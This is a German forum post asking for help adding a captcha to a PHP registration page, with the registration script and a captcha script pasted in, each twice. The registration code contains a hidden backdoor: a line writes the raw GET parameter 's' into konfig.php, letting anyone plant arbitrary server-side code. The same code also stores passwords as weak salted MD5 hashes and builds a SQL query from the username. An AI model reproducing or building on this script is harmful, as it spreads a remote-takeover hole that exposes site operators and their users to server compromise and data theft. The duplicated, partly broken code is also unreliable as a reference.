ich habe ein kleines Problem und zwar habe ich jetzt zwar eine funktionierende Registrierungs Page, blos da ist noch kein ReCaptcha eingefügt!
Ich weiß jetzt nicht, wie ich es einfügen soll!
Meine Regi Page(nur der Teil in der .php, mit der Funktion):
<div class="mittelfeld" >
<div class="content">
<div class="panel_main">
<h1><u>Register:</u></h1>
<center>
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 13) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 13 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 13) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 13 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="blue">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
<div class="content">
<div class="panel_main">
<h1><u>Register:</u></h1>
<center>
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 13) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 13 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 13) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 13 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="blue">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
Meine captcha.php:
<?php
unset($_SESSION['captcha_spam']);
function randomString($len) {
function make_seed(){
list($usec , $sec) = explode (' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
//Der String $possible enthält alle Zeichen, die verwendet werden sollen
$possible="ABCDEFGHJKLMNPRSTUVWXYZabcdefghijkmnpqr stuvwxyz23456789";
$str="";
while(strlen($str)<$len) {
$str.=substr($possible,(rand()%(strlen($possible)) ),1);
}
return($str);
}
$text = randomString(5); //Die Zahl bestimmt die Anzahl stellen
$_SESSION['captcha_spam'] = $text;
header('Content-type: image/png');
$img = ImageCreateFromPNG('captcha.PNG'); //Backgroundimage
$color = ImageColorAllocate($img, 0, 0, 0); //Farbe
$ttf = $_SERVER['DOCUMENT_ROOT']."/captcha/XFILES.TTF"; //Schriftart
$ttfsize = 25; //Schriftgrösse
$angle = rand(0,5);
$t_x = rand(5,30);
$t_y = 35;
imagettftext($img, $ttfsize, $angle, $t_x, $t_y, $color, $ttf, $text);
imagepng($img);
imagedestroy($img);
?>
unset($_SESSION['captcha_spam']);
function randomString($len) {
function make_seed(){
list($usec , $sec) = explode (' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
//Der String $possible enthält alle Zeichen, die verwendet werden sollen
$possible="ABCDEFGHJKLMNPRSTUVWXYZabcdefghijkmnpqr stuvwxyz23456789";
$str="";
while(strlen($str)<$len) {
$str.=substr($possible,(rand()%(strlen($possible)) ),1);
}
return($str);
}
$text = randomString(5); //Die Zahl bestimmt die Anzahl stellen
$_SESSION['captcha_spam'] = $text;
header('Content-type: image/png');
$img = ImageCreateFromPNG('captcha.PNG'); //Backgroundimage
$color = ImageColorAllocate($img, 0, 0, 0); //Farbe
$ttf = $_SERVER['DOCUMENT_ROOT']."/captcha/XFILES.TTF"; //Schriftart
$ttfsize = 25; //Schriftgrösse
$angle = rand(0,5);
$t_x = rand(5,30);
$t_y = 35;
imagettftext($img, $ttfsize, $angle, $t_x, $t_y, $color, $ttf, $text);
imagepng($img);
imagedestroy($img);
?>
Weiß einer, wie ich es in mein Registrierungs Skript einfügen kann?
Oder eine ganz andere Lösung?
Danke schonmal
Lg






